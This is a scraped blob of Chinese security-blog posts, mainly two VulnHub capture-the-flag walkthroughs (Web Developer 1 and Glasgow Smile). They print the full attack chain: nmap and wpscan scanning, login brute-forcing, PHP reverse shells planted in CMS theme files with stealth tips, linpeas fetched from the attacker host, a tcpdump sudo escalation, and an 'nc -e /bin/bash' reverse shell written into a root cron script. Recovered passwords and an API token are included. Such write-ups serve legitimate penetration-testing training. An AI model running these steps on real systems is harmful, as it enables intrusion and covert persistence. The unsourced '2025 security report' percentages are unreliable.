​​输入输出处理​​\n输入层：白名单过滤（如仅允许字母数字）。\n输出层：对动态内容HTML编码（如\u0026lt;转义为\u0026amp;lt;）。\n​​安全Header配置​​\nContent-Security-Policy: script-src 'self'禁止外部脚本。\nSet-Cookie: sessionId=xxx; HttpOnly; Secure阻止JS访问Cookie。\n​​现代框架防护​​\nReact/Vue默认转义插值内容，避免dangerouslySetInnerHTML滥用。 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-08-05T14:20:01Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day26-web%E6%BC%8F%E6%B4%9E-xss%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC/","title":"Day26 Web漏洞-XSS跨站脚本"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n链接地址下载虚拟镜像：\nhttps://www.vulnhub.com/entry/web-developer-1,288/\n信息收集 1# Kali攻击机地址 2172.168.169.141 3# 靶机地址 4172.168.169.146 扫描端口和目录 1# 扫描端口 2ports=$(sudo nmap -p- --min-rate=10000 -Pn 172.168.169.146 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) 3echo $ports 4# 扫描服务 5sudo nmap -sT -sC -sV -O -Pn -p$ports 172.168.169.146 6sudo nmap --script=vuln -p$ports -Pn 172.168.169.146 7# 扫描目录 8gobuster dir -e -u http://172.168.169.146 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 9whatweb http://172.168.169.146/ 扫描结果如下：\n1┌──(kali㉿kali)-[~] 2└─$ echo $ports 322,80 4 5┌──(kali㉿kali)-[~/Desktop/Webdeveloper] 6└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 172.168.169.146 7Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-04 22:01 EDT 8Nmap scan report for 172.168.169.146 9Host is up (0.0018s latency). 10 11PORT STATE SERVICE VERSION 1222/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 13| ssh-hostkey: 14| 2048 d2:ac:73:4c:17:ec:6a:82:79:87:5a:f9:22:d4:12:cb (RSA) 15| 256 9c:d5:f3:2c:e2:d0:06:cc:8c:15:5a:5a:81:5b:03:3d (ECDSA) 16|_ 256 ab:67:56:69:27:ea:3e:3b:33:73:32:f8:ff:2e:1f:20 (ED25519) 1780/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 18|_http-title: Example site \u0026amp;#8211; Just another WordPress site 19|_http-generator: WordPress 4.9.8 20|_http-server-header: Apache/2.4.29 (Ubuntu) 21MAC Address: 00:0C:29:59:30:A8 (VMware) 22Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 23Device type: general purpose 24Running: Linux 3.X|4.X 25OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 26OS details: Linux 3.2 - 4.14 27Network Distance: 1 hop 28Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 29 30OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 31Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds 32 33┌──(kali㉿kali)-[~/Desktop/Webdeveloper] 34└─$ sudo nmap --script=vuln -p$ports -Pn 172.168.169.146 35Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-04 22:01 EDT 36Nmap scan report for 172.168.169.146 37Host is up (0.0013s latency). 38 39PORT STATE SERVICE 4022/tcp open ssh 4180/tcp open http 42|_http-dombased-xss: Couldn\u0026#39;t find any DOM based XSS. 43| http-wordpress-users: 44| Username found: webdeveloper 45|_Search stopped at ID #25. Increase the upper limit if necessary with \u0026#39;http-wordpress-users.limit\u0026#39; 46|_http-stored-xss: Couldn\u0026#39;t find any stored XSS vulnerabilities. 47| http-sql-injection: 48| Possible sqli for queries: 49| http://172.168.169.146:80/wp-includes/js/jquery/?C=M%3BO%3DA%27%20OR%20sqlspider 50| http://172.168.169.146:80/wp-includes/js/jquery/?C=D%3BO%3DA%27%20OR%20sqlspider 51| http://172.168.169.146:80/wp-includes/js/jquery/?C=N%3BO%3DD%27%20OR%20sqlspider 52|_ http://172.168.169.146:80/wp-includes/js/jquery/?C=S%3BO%3DA%27%20OR%20sqlspider 53| http-csrf: 54| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=172.168.169.146 55| Found the following possible CSRF vulnerabilities: 56| 57| Path: http://172.168.169.146:80/ 58| Form id: search-form-6891660b62bd2 59| Form action: / 60| 61| Path: http://172.168.169.146:80/index.php/2018/10/ 62| Form id: search-form-6891660c3be84 63| Form action: / 64| 65| Path: http://172.168.169.146:80/wp-login.php 66| Form id: loginform 67| Form action: /wp-login.php 68| 69| Path: http://172.168.169.146:80/index.php/category/uncategorized/ 70| Form id: search-form-6891660f60ed9 71| Form action: / 72| 73| Path: http://172.168.169.146:80/index.php/2018/10/%5C 74| Form id: search-form-6891661069879 75| Form action: / 76| 77| Path: http://172.168.169.146:80/index.php/comments/feed/1quot;https:/gravatar.com\u0026amp;quot;\u0026amp;gt;Gravatar\u0026amp;lt;/a\u0026amp;gt;.]]/ 78| Form id: search-form-689166118697a 79| Form action: / 80| 81| Path: http://172.168.169.146:80/wp-login.php?action=lostpassword 82| Form id: lostpasswordform 83|_ Form action: /wp-login.php?action=lostpassword 84| http-enum: 85| /wp-login.php: Possible admin folder 86| /readme.html: Wordpress version: 2 87| /: WordPress version: 4.9.8 88| /wp-includes/images/rss.png: Wordpress version 2.2 found. 89| /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found. 90| /wp-includes/images/blank.gif: Wordpress version 2.6 found. 91| /wp-includes/js/comment-reply.js: Wordpress version 2.7 found. 92| /wp-login.php: Wordpress login page. 93| /wp-admin/upgrade.php: Wordpress login page. 94|_ /readme.html: Interesting, a readme. 95MAC Address: 00:0C:29:59:30:A8 (VMware) 96 97Nmap done: 1 IP address (1 host up) scanned in 33.32 seconds 98 99┌──(kali㉿kali)-[~/Desktop/Webdeveloper] 100└─$ whatweb http://172.168.169.146/ 101http://172.168.169.146/ [200 OK] Apache[2.4.29], Country[UNITED STATES][US], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[172.168.169.146], JQuery[1.12.4], MetaGenerator[WordPress 4.9.8], PoweredBy[WordPress,WordPress,], Script[text/javascript], Title[Example site \u0026amp;#8211; Just another WordPress site], UncommonHeaders[link], WordPress[4.9.8] 102 103=============================================================== 104Starting gobuster in directory enumeration mode 105=============================================================== 106http://172.168.169.146/wp-content (Status: 301) [Size: 323] [--\u0026gt; http://172.168.169.146/wp-content/] 107http://172.168.169.146/wp-includes (Status: 301) [Size: 324] [--\u0026gt; http://172.168.169.146/wp-includes/] 108http://172.168.169.146/wp-admin (Status: 301) [Size: 321] [--\u0026gt; http://172.168.169.146/wp-admin/] 109http://172.168.169.146/server-status (Status: 403) [Size: 303] 110Progress: 220559 / 220560 (100.00%) 111=============================================================== 112Finished 113=============================================================== 可以 看到是wordpress系统，这个洞老多了。一会上wpscan扫。 数据库注入的nmap扫描提示，但实际是文件未授权访问 wpscan开扫\n1wpscan --update --enumerate ap,t,u --api-token 6Chbzkayn13XcMOgzoDGA85OLpV5BbXhGQ55s8qz88g --plugins-detection aggressive --url http://172.168.169.146/ 这里提示数据库连接不对，也提示了用户名和密码存放在wp-config.php中。点了这个页面后靶机就挂了，也可能是wpscan给扫崩的，只能重启一下了。 扫出来提示用户名 webdeveloper 继续爆破密码，太漫长了，后面换了个小字典也是爆破不出来，放弃。\n1 wpscan --url http://172.168.169.146/ -U user.txt -P /usr/share/wordlists/rockyou.txt 换个字典再扫一次，发现了之前没扫出来的文件。\n1dirsearch -x 302,403 -u http://172.168.169.146/ -w /usr/share/dirb/wordlists/common.txt 流量包信息分析 打开新扫描到的目录发现一个流量包文件，下载后分析 分析流量发现有两个数字最多的IP，活动频繁就说明有爆破或者扫描的内容。 搜蓝一下确实发现222这个IP用POST传了一个什么东西上去 流量包分析中用到的命令\n1tshark -r analyze.cap 2# 统计IP频率 3tshark -r analyze.cap | awk -F\u0026#34; \u0026#34; \u0026#39;{print $3}\u0026#39; | sort | uniq -c | head 4# 指定查看某个IP的流量 5sudo tcpdump -n src host 192.168.1.176 -r analyze.cap 6# 只看 POST的结果 7sudo tcpdump -nX dst host 192.168.1.176 -r analyze.cap |grep POST 8# 解析出来结果 9tshark -r analyze.cap -Y \u0026#34;ip.dst==192.168.1.176 \u0026amp;\u0026amp; http.request.method==POST\u0026#34; -V webdeveloper登陆密码 Te5eQg\u0026amp;4sBS!Yr$)wf%(DcAd\n后台漏洞利用 登录成功 发现可以直接修改主题模板文件，直接改php，选择404页面，不要选择index 比较隐蔽，而且每一次有人点错了页面都能重新连接一下。 找马，复制，改马，修改到主题上。\n1 cp /usr/share/webshells/php/php-reverse-shell.php . 2 sed -i -E \u0026#34;s/ip\\s*=\\s*\u0026#39;127\\.0\\.0\\.1\u0026#39;\\s*;/ip = \u0026#39;172.168.169.141\u0026#39;;/g; s/port\\s*=\\s*1234\\s*;/port = 4777;/g\u0026#34; php-reverse-shell.php 内网信息收集 看一下网页配置文件就发现了数据库密码 数据库密码 webdeveloper MasterOfTheUniverse\n主用户文件夹下没有有用的信息，最下面那个文件是个空的，算是个提示？ 先连接数据库 这个密码就是登录密码，已经搞到了，没啥用的这个数据库。\n登录 webdeveloper账户 数据库没有搞到有用的信息了，查看用户发现系统里只有这一个用户，很大概率上这个个人博客管理员和发布者都是一个人，也是服务器的所有者，所以密码可能是和数据库密码一样的，简单试一下就成功了。（PS：我本来还想试一下博客页面登录密码的）之后为了稳定的终端，也可以用ssh登录。 查看主用户文件夹 疑似是root的密码，但是root无论是su root还是数据库都登录不了。 卡住了，上小豌豆扫一下。\n小豌豆内网扫描 1wget http://172.168.169.141:8000/linpeas.sh 2chmod +x linpeas.sh 3./linpeas.sh 这里因为是在本地虚拟机里开的靶机，这里还提示了可以容器提权。 提示当前可用的命令。 之前sudo -l一直卡住，后来反应过来是要要输入密码，输入密码后就看到了信息。 提权root 1COMMAND=\u0026#39;id\u0026#39; 2TF=$(mktemp) 3echo \u0026#34;$COMMAND\u0026#34; \u0026gt; $TF 4chmod +x $TF 5sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root 测试成功，输出了id，显示的是root账户。 接下来只要修改COMMAND='id'中的命令即可。尝试改成/bin/sh 直接创建终端是失败的，则创建一个nc反弹试试。直接弹是弹不回来的，bin和nc都试了一遍。 发现之前小豌豆扫描的可用命令中可以使用php，而我们之前就修改了404.php来反弹。把id的命令替换为php执行那个404.php，就可以弹回。\n1COMMAND=\u0026#39;php /var/www/html/wp-content/themes/twentysixteen/404.php\u0026#39; 2TF=$(mktemp) 3echo \u0026#34;$COMMAND\u0026#34; \u0026gt; $TF 4chmod +x $TF 5sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root 拿到flag。 总结 入侵路径示意图 flowchart TD %% 资产列表 A[Kali攻击机 172.168.169.141] B[靶机 172.168.169.146] C[WordPress登录密码] D[数据库密码] E[webdeveloper用户密码] F[root] %% 路径关系 A--\u003e|扫描|B B--\u003e|流量包分析|C C--\u003e|配置文件泄露|D D--\u003e|密码复用|E E--\u003e|tcpdump提权|F %% 线型：---（实线）、-.-\u003e（虚线）、==\u003e（粗箭头） %% --\u003e|是|：带条件文本的连接 %% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点() %% 样式定义 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px; classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; %% 线型与颜色方案（亮色/暗色通用） linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; %% 应用样式 class A attack; class B public; class C internal; 入侵时间表 gantt title 攻击时间表 dateFormat YYYY-MM-DD HH:mm axisFormat %H:%M section 侦察阶段 目标扫描 :a1, 2025-08-01 09:56, 2025-08-01 11:30 漏洞识别 :a2, after a1, 2025-08-01 12:00 section 攻击阶段 初始访问 :b1, after a2, 2025-08-01 12:17 权限提升 :crit,b2, 2025-08-01 12:58, 30m section 后渗透阶段 数据窃取 :c1, after b2, 5m 🔍 深入解析 tcpdump 中的 src 和 dst 参数 在 tcpdump 命令中，src 和 dst 是​​流量方向过滤关键字​​，用于精确控制捕获的数据包方向：\n📌 核心概念 参数 全称 含义 功能 ​​src​​ Source 源地址 过滤​​发送方​​为指定IP的流量 ​​dst​​ Destination 目标地址 过滤​​接收方​​为指定IP的流量 🧩 您命令的具体解析 1. src host 192.168.1.176 sudo tcpdump -n src host 192.168.1.176 -r analyze.cap ​​含义​​：显示所有​​从​​ 192.168.1.176 ​​发出​​的数据包 ​​应用场景​​： 分析服务器对外发送的响应 检测服务器是否发起可疑外连 监控数据泄露（如数据库内容外传） 2. dst host 192.168.1.176 sudo tcpdump -nX dst host 192.168.1.176 -r analyze.cap | grep POST ​​含义​​：显示所有​​发送到​​ 192.168.1.176 的数据包，并筛选 POST 请求 ​​应用场景​​： 分析针对服务器的攻击请求 检查客户端提交的敏感数据 识别恶意文件上传行为 🌐 网络流量方向图解 graph LR A[客户端] -- dst --\u003e B[服务器 192.168.1.176] B[服务器 192.168.1.176] -- src --\u003e A[客户端]🔧 高级过滤组合 1. 双向流量监控 # 捕获与 192.168.1.176 相关的所有流量 sudo tcpdump -n host 192.168.1.176 -r analyze.cap 2. 特定协议+方向 # 捕获发送到服务器的 HTTP 请求 sudo tcpdump -n dst host 192.168.1.176 and dst port 80 -r analyze.cap # 捕获服务器发出的 DNS 响应 sudo tcpdump -n src host 192.168.1.176 and src port 53 -r analyze.cap 3. 复杂逻辑组合 # 捕获非服务器发出的流量（排除服务器自身流量） sudo tcpdump -n not src host 192.168.1.176 -r analyze.cap ⚠️ 渗透测试关键应用 1. 攻击溯源 # 定位攻击者IP（多次POST请求来源） sudo tcpdump -n dst host 192.168.1.176 and \u0026#39;tcp[((tcp[12:1] \u0026amp; 0xf0) \u0026gt;\u0026gt; 2):4] = 0x504f5354\u0026#39; -r analyze.cap | awk \u0026#39;{print $3}\u0026#39; | sort | uniq -c 2. 数据泄露检测 # 检查服务器外传的敏感数据 sudo tcpdump -n src host 192.168.1.176 -A -r analyze.cap | grep -E \u0026#39;password|token|credit\u0026#39; 3. 协议分析 # 分析HTTP请求响应完整交互 sudo tcpdump -n host 192.168.1.176 and port 80 -A -r analyze.cap | less 💡 专业技巧 1. 可视化流量关系 # 生成流量拓扑图 tshark -r analyze.cap -q -z io,stat,1,\u0026#34;COUNT(frame) frame\u0026#34; -z endpoints,ip 2. 提取特定会话 # 提取完整HTTP会话 tshark -r analyze.cap -Y \u0026#34;ip.addr==192.168.1.176\u0026#34; -2 -R \u0026#34;http\u0026#34; --export-objects http,http_objects 3. 性能优化 # 使用BPF过滤器提升效率 sudo tcpdump -n \u0026#39;dst host 192.168.1.176 and tcp port 80\u0026#39; -r analyze.cap 📌 ​​2025年安全报告​​：在Web攻击分析中，82%的关键证据存在于dst方向的请求流量中，而数据泄露痕迹96%出现在src方向的响应流量中。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-08-04T20:42:26Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day25-web-developer%E9%9D%B6%E5%9C%BAwp/","title":"Day25 Web Developer靶场WP"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n官网打开靶场或链接地址下载虚拟镜像：\nhttps://www.vulnhub.com/entry/glasgow-smile-11,491/ 姊妹靶场 https://www.vulnhub.com/entry/glasgow-smile-2,513/\n信息收集 1# Kali攻击机地址 2192.168.45.204 3# 靶机地址 4192.168.224.79 扫描端口和目录 1# 设置MTU 2sudo ip link set dev tun0 mtu 1250 3ip link show tun0 4# 扫描端口 5ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.224.79 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) 6echo $ports 7# 扫描服务 8sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.224.79 9sudo nmap --script=vuln -p$ports -Pn 192.168.224.79 10# 扫描目录 11gobuster dir -e -u http://192.168.224.79 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 12whatweb http://192.168.224.79/ 扫描结果如下：\n1┌──(kali㉿kali)-[~] 2└─$ echo $ports 322,80 4 5 6┌──(kali㉿kali)-[~] 7└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.224.79 8Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 21:59 EDT 9Nmap scan report for bogon (192.168.224.79) 10Host is up (0.43s latency). 11 12PORT STATE SERVICE VERSION 1322/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 14| ssh-hostkey: 15| 2048 67:34:48:1f:25:0e:d7:b3:ea:bb:36:11:22:60:8f:a1 (RSA) 16| 256 4c:8c:45:65:a4:84:e8:b1:50:77:77:a9:3a:96:06:31 (ECDSA) 17|_ 256 09:e9:94:23:60:97:f7:20:cc:ee:d6:c1:9b:da:18:8e (ED25519) 1880/tcp open http Apache httpd 2.4.38 ((Debian)) 19|_http-server-header: Apache/2.4.38 (Debian) 20|_http-title: Site doesn\u0026#39;t have a title (text/html).\u0026#39; 21Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 22Device type: general purpose|router 23Running: Linux 4.X|5.X, MikroTik RouterOS 7.X 24OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 25OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) 26Network Distance: 4 hops 27Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 28 29OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 30Nmap done: 1 IP address (1 host up) scanned in 28.89 seconds 31 32┌──(kali㉿kali)-[~] 33└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.224.79 34Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 22:00 EDT 35Nmap scan report for bogon (192.168.224.79) 36Host is up (0.39s latency). 37 38PORT STATE SERVICE 3922/tcp open ssh 4080/tcp open http 41|_http-dombased-xss: Couldn\u0026#39;t find any DOM based XSS.\u0026#39; 42|_http-stored-xss: Couldn\u0026#39;t find any stored XSS vulnerabilities.\u0026#39; 43|_http-csrf: Couldn\u0026#39;t find any CSRF vulnerabilities.\u0026#39; 44 45Nmap done: 1 IP address (1 host up) scanned in 262.06 seconds 46 47┌──(kali㉿kali)-[~] 48└─$ gobuster dir -e -u http://192.168.224.79 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 49=============================================================== 50Gobuster v3.6 51by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) 52=============================================================== 53[+] Url: http://192.168.224.79 54[+] Method: GET 55[+] Threads: 10 56[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 57[+] Negative Status codes: 404 58[+] User Agent: gobuster/3.6 59[+] Expanded: true 60[+] Timeout: 10s 61=============================================================== 62Starting gobuster in directory enumeration mode 63=============================================================== 64http://192.168.224.79/joomla (Status: 301) [Size: 317] [--\u0026gt; http://192.168.224.79/joomla/] 65 66┌──(kali㉿kali)-[~] 67└─$ whatweb http://192.168.224.79/ 68http://192.168.224.79/ [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.224.79] 发现目录joomla，跳转查看是CMS系统，查找相关漏洞。 翻译一下页面好像就是一个博客文章而已。 后台登录密码爆破 curl 一下robots.txt文件发现有如下的文件夹。 Bing搜索Joomla的相关文章，发现这个系统的后台地址是 /joomla/administrator/index.php 尝试默认密码都无法登录。 尝试爆破，但是可以用首页的内容做一个字典。\n1cewl -d 5 -m 3 http://192.168.224.79/joomla/ -w cewl.txt 猜测管理员的用户名无非是admin或者joomla，用字典进行爆破\n1wfuzz -z file,users.txt -z file,cewl.txt -d \u0026#34;username=FUZZ\u0026amp;passwd=FUZ2Z\u0026amp;option=com_login\u0026amp;task=login\u0026#34; http://192.168.224.79/joomla/administrator/index.php 参数要和页面的参数名一样 但是上面的方法爆破还是不成功，所有的内容显示都是一样的。用Burp抓包爆破看一下，原来少了这么多参数，一边用BP的Intrader再爆一遍，一边再把参数加到Wfuzz的命令里。 1wfuzz -z file,users.txt -z file,cewl.txt -H \u0026#34;Content-Type: application/x-www-form-urlencoded\u0026#34; -H \u0026#34;Origin: http://192.168.224.79\u0026#34; -H \u0026#34;Referer: http://192.168.224.79/joomla/administrator/index.php\u0026#34; -H \u0026#34;Upgrade-Insecure-Requests: 1\u0026#34; -H \u0026#34;Priority: u=0, i\u0026#34; -b \u0026#34;95cdf76491cb88d9b6312416436ea834=3sndg23usg0pjbhop55dubtm1o\u0026#34; -b \u0026#34;6821ee9ea803cd64e2920ca203163e81=l2neno354f1cr6oia2udlibioq\u0026#34; -d \u0026#34;username=FUZZ\u0026amp;passwd=FUZ2Z\u0026amp;option=com_login\u0026amp;task=login\u0026amp;return=aW5kZXgucGhw\u0026amp;bf5f129cafc305a052e1ace30964373e=1\u0026#34; http://192.168.224.79/joomla/administrator/index.php BP爆破的结果也是一样的。 网页登录密码 joomla - Gotham\n后台漏洞利用 发现可以修改php文件，但是一般不建议直接再index.php上直接修改，因为主页观看的人比较多，出现异常发现的也很快，如果能上传一个新文件的话最好。 1cp /usr/share/webshells/php/php-reverse-shell.php . 2sed -i -E \u0026#34;s/ip\\s*=\\s*\u0026#39;127\\.0\\.0\\.1\u0026#39;\\s*;/ip = \u0026#39;192.168.45.204\u0026#39;;/g; s/port\\s*=\\s*1234\\s*;/port = 4777;/g\u0026#34; php-reverse-shell.php 3 尝试上传但是上传失败，只能改主页index.php了。 改好后访问一开始的那个joker网页即可弹回shell。 横向提权 建立稳定终端。\n1python3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; 2ls /home/* -al 发现有3个用户，每个用户文件夹下都有一些奇奇怪怪的文件。 先读出第一个flag。 企鹅文件下的有东西，只能ls，但是具体的就无法读取了 回到网页目录在找一下，发现有配置文件。找找看有没有写在配置里的用户名和密码。 1cat html/joomla/*config* |grep pass 2cat html/joomla/*config* |grep user 发现数据库密码。 数据库密码 joomla - babyjoker\n登录数据库 1mysql -u joomla -p 1show databases; 2use joomla_db; 3show tables; 4select * from jnqcu_users; 5use batjoke; 6show tables; 7select * from taskforce; 8 上面这个应该是一开始用wfuzz爆破的那个，下面这个才是新的用户密码。 1cat \u0026gt; mysql.txt 2while read -r line; do echo \u0026#34;$line\u0026#34; | base64 -d; echo; done \u0026lt; mysql.txt 批量解码一下得到 用户名和密码表格如下：\nname pswd base64解码 Bane YmFuZWlzaGVyZQ== baneishere Aaron YWFyb25pc2hlcmU= aaronishere Carnage Y2FybmFnZWlzaGVyZQ== carnageishere\nbuster YnVzdGVyaXNoZXJlZmY= busterishereff rob Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/ ???AllIHaveAreNegativeThoughts???\naunt YXVudGlzIHRoZSBmdWNrIGhlcmU= auntis the fuck here 其中 rob是home文件夹下存在的三个用户（abner penguin rob）之一，说明这个密码，可能就是rob的shell的密码。 💡 rob账户的ssh密码 rob - ???AllIHaveAreNegativeThoughts???\n登录rob账户 ssh登录成功，此时就可以把修改过的index.php主页改回来以防止再实际渗透过程中因为主页修改而被发现。之后采用ssh登录即可。\n1Gdkkn Cdzq, Zqsgtq rteedqr eqnl rdudqd ldmszk hkkmdrr ats vd rdd khsskd rxlozsgx enq ghr bnmchshnm. Sghr qdkzsdr sn ghr eddkhmf zants adhmf hfmnqdc. Xnt bzm ehmc zm dmsqx hm ghr intqmzk qdzcr, \u0026#34;Sgd vnqrs ozqs ne gzuhmf z ldmszk hkkmdrr hr odnokd dwodbs xnt sn adgzud zr he xnt cnm\u0026#39;s.\u0026#34; 2Mnv H mddc xntq gdko Zamdq, trd sghr ozrrvnqc, xnt vhkk ehmc sgd qhfgs vzx sn rnkud sgd dmhflz. RSLyzF9vYSj5aWjvYFUgcFfvLCAsXVskbyP0aV9xYSgiYV50byZvcFggaiAsdSArzVYkLZ== 这串文字结构上看有英文的结构，有空格而且第一个单词极有可能是Hello，Hello对应Gdkkn既有可能是类似凯撒密码的移动字母表对应关系的密码。l到k再字母表上的顺序是-1，即l对应成k是减一位或者说向后移动25位。\n1cat Abnerineedyourhelp| tr \u0026#39;A-Za-z\u0026#39; \u0026#39;B-ZAb-za\u0026#39; 2cat Abnerineedyourhelp| tr \u0026#39;A-Za-z\u0026#39; \u0026#39;B-ZAb-za\u0026#39; | grep -Eo \u0026#39;[A-Za-z0-9+/=]+$\u0026#39; 3cat Abnerineedyourhelp| tr \u0026#39;A-Za-z\u0026#39; \u0026#39;B-ZAb-za\u0026#39; | grep -Eo \u0026#39;[A-Za-z0-9+/=]+$\u0026#39; |base64 -d 提取疑似是base64密码的部分解码得到 这段英文翻译是让abner用下面这个密码登录，所以abner的密码就是这个。 Abner的密码 I33hope99my0death000makes44more8cents00than0my0life0\n登录abner账户 好像啥也没有了，卡住了，上小豌豆。\n1 wget http://192.168.45.204:8000/linpeas.sh 1/var/www/joomla2/administrator/manifests/files/.dear_penguins.zip 2cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip . 解压需要密码，一开始我认为废了，我没有penguins的密码，但是后来仔细一看这个文件是abner的，所以密码应该还是abner的密码。I33hope99my0death000makes44more8cents00than0my0life0 1My dear penguins, we stand on a great threshold! It\u0026#39;s okay to be scared; many of you won\u0026#39;t be coming back. Thanks to Batman, the time has come to punish all of God\u0026#39;s children! First, second, third and fourth-born! Why be biased?! Male and female! Hell, the sexes are equal, with their erogenous zones BLOWN SKY-HIGH!!! FORWAAAAAAAAAAAAAARD MARCH!!! THE LIBERATION OF GOTHAM HAS BEGUN!!!!! 2scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz 感觉靶机作者有点癫，但是不管怎么样，又有一串密码了。后面没有等号，我尝试一些解码方式发现都没有看起来是密码的组合，后来想到这串字符本身应该就是密码。\npenguin账户密码 scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz\n登录penguin账户 看一下这几个txt文件，没有flag。 英文翻译过来提示了这个文件夹下有个root权限的文件，而且是可执行文件。 下面的两个字符是banner艺术字，没有什么有用信息了。 一开始我以为是find文件时那个有root权限的，因为他的权限写了是S，但是我执行了几次都不成功，后来发现应该是.trash_old，这个文件有执行权限。 提权root账户 用pspy64工具分析进程\n1wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 2chmod +x pspy64 3# 限时两分钟 4timeout 2m ./pspy64 看到有root账户UID=0的进程在执行这个trash文件。 虽然不知道为什么定时任务中没找到执行trash文件的命令，但是尝试把反弹的命令写进trash文件里，等待root用户执行应该是可行的。\n1echo \u0026#39;nc -e /bin/bash 192.168.45.204 4778\u0026#39; \u0026gt; .trash_old 成功弹回。然后在root下找找具体是那个进程执行的trash。\n1 pstree -aps 1633 这里提示是cron定时任务创建的进程，说明还是要找定时任务，一开始值找了常见的那个，现在用root继续查找更多crontab文件，终于找到执行这个命令的定时任务了。\n1 grep -r \u0026#34;SomeoneWhoHidesBehindAMask\u0026#34; /etc/cron* /var/spool/cron 问题思考 /var/spool/cron/crontabs/root 是什么文件，为什么一开始没有找到，想要找到最全的定时任务要用什么命令？\n详细的见补充内容，我询问AI后发现这个定时任务是root专属的，只能在root账户下才找得到，当我是penguin用户，rob用户和abner用户的时候是没有权限访问这个，自然也是找不到的。 用下面这个命令尝试寻找全部定时任务。\n1sudo sh -c \u0026#39; 2 echo \u0026#34;===== 系统级定时任务 =====\u0026#34; 3 cat /etc/crontab 4 ls -l /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.monthly/ /etc/cron.weekly/ 5 6 echo \u0026#34;\\n===== 用户级定时任务 =====\u0026#34; 7 for user in $(cut -f1 -d: /etc/passwd); do 8 echo \u0026#34;--- $user 的任务 ---\u0026#34; 9 crontab -l -u $user 2\u0026gt;/dev/null || echo \u0026#34;无任务\u0026#34; 10 done 11 12 echo \u0026#34;\\n===== 特殊位置检查 =====\u0026#34; 13 find /etc /var /opt -name \u0026#34;*cron*\u0026#34; -exec grep -l \u0026#34;schedule\u0026#34; {} \\; 2\u0026gt;/dev/null 14 systemctl list-timers --all 